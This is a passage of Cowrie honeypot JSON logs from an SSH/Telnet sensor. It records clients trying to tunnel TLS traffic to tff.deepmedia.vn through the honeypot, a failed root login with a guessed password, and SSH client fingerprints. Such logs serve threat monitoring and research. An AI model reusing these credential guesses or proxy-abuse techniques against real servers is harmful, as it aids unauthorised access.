00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x94lpP\\\\\\xfal\\xad\\xf6\\x90\\xe0\\xb3\\xa6\\xde\\xf2\\x9f\\xa1\\t\\x80z\\x1be\\xb6\\xee\\xaab\\xe5\\xed\\xf3\\xfd\\xccb t\\x80\\x91\\x17\\x16\\xb1\\xbdu\\xe5\\x1b\\xfb$\\xb24y-\\x89\\x1c9\\xa7o\\xed`\\x00\\xf9\\x86\\xe7\\xe2\\xe0n\\xeed\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1c&\\xaa\\xb3\\x9be\\x8a,\\xf79k\\x8f\\x13\\xab\\x85\\x8b{\\x1b\\x8bO`y\\xed\\x9e\\x8c\\xd1\\xd5\\xd4XA`B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:19.390841Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:21.470216Z","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:21.507047Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\x1c\\xcd\\xf7\\xff%\\x1e\\x08e\\xf5\\xb4\\xa3\\xc0\\x96\\x80\\xac~\\x80=}\\x93\\xd3>L\\xaa\\xad,\\x99j\\x13\\x00^ \\x95\\xeb\\x00\\x95\\xa2\\xb5\\xbf\\x01\\x9f\\x8acuT\\xb8\\xe4\\xdc\\xaa:e\\xd5\\x90\\xd1B\\x00\\x7fO\\xa5\\xd6\\xf0\\xe4\\x91\\r\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x82\\xbe%\\xc3\\xace\\xc1?U\\xe5\\x9c|\\xca\\r\\x10w\\x92Z\\xe6?D\\xb8\\x92\\xbc;z\\xd0'Qr\\x1d]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03N\\x1c\\xcd\\xf7\\xff%\\x1e\\x08e\\xf5\\xb4\\xa3\\xc0\\x96\\x80\\xac~\\x80=}\\x93\\xd3>L\\xaa\\xad,\\x99j\\x13\\x00^ \\x95\\xeb\\x00\\x95\\xa2\\xb5\\xbf\\x01\\x9f\\x8acuT\\xb8\\xe4\\xdc\\xaa:e\\xd5\\x90\\xd1B\\x00\\x7fO\\xa5\\xd6\\xf0\\xe4\\x91\\r\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x82\\xbe%\\xc3\\xace\\xc1?U\\xe5\\x9c|\\xca\\r\\x10w\\x92Z\\xe6?D\\xb8\\x92\\xbc;z\\xd0'Qr\\x1d]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:21.510941Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:21.606047Z","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:21.642344Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05*\\xf4j\\xf2KXB^|\\xda8\\x7f\\xce\\x17!\\x0c\\xee\\xe9_\\xe7\\xebS\\'ml&\\x92R\\x84\\xdd\\xf6 \\x06L\\xca9I6\\x88\\xad\\xdf1\\xf8\\rl\\xae\\xa0\\x83\\xffG\\xd0\\x19\\x97\\x88\\xd2[\\x16jwj\\xf0\\xbe\\xa5\\xc2\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\x9b:\\xd3_Z\\x9a\\x87o\\xd5k\\x9cu\\x8dky\\xbc\\x8bhEF\\xc7,\\xcf\\xa4\\xabM\\xa8\\xa5[\\x95\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05*\\xf4j\\xf2KXB^|\\xda8\\x7f\\xce\\x17!\\x0c\\xee\\xe9_\\xe7\\xebS\\'ml&\\x92R\\x84\\xdd\\xf6 \\x06L\\xca9I6\\x88\\xad\\xdf1\\xf8\\rl\\xae\\xa0\\x83\\xffG\\xd0\\x19\\x97\\x88\\xd2[\\x16jwj\\xf0\\xbe\\xa5\\xc2\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\x9b:\\xd3_Z\\x9a\\x87o\\xd5k\\x9cu\\x8dky\\xbc\\x8bhEF\\xc7,\\xcf\\xa4\\xabM\\xa8\\xa5[\\x95\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:21.646806Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.8","message":"Connection lost after 41.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:25.969359Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.5","message":"Connection lost after 21.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:26.916302Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41698,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc9cbb68fbe","protocol":"telnet","message":"New connection: 128.199.8.54:41698 (159.203.135.109:23) [session: 5cc9cbb68fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:27.048053Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":58400,"dst_ip":"10.17.0.5","dst_port":22,"session":"06e129d47817","protocol":"ssh","message":"New connection: 62.133.62.83:58400 (10.17.0.5:22) [session: 06e129d47817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:01.014255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:01.019984Z","src_ip":"62.133.62.83","session":"06e129d47817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:01.098849Z","src_ip":"62.133.62.83","session":"06e129d47817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fidelity","message":"login attempt [root/fidelity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:01.338066Z","src_ip":"62.133.62.83","session":"06e129d47817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:02.420652Z","src_ip":"62.133.62.83","session":"06e129d47817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.908124685287476,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:06.956001Z","src_ip":"128.199.8.54","session":"5cc9cbb68fbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":56473,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b758b69bca3","protocol":"ssh","message":"New connection: 113.164.152.20:56473 (10.17.0.5:22) [session: 2b758b69bca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:10.216305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:10.239968Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:10.536916Z","src_ip":"113.164.152.20","session":"2b758b69bca3","protocol":"ssh"}
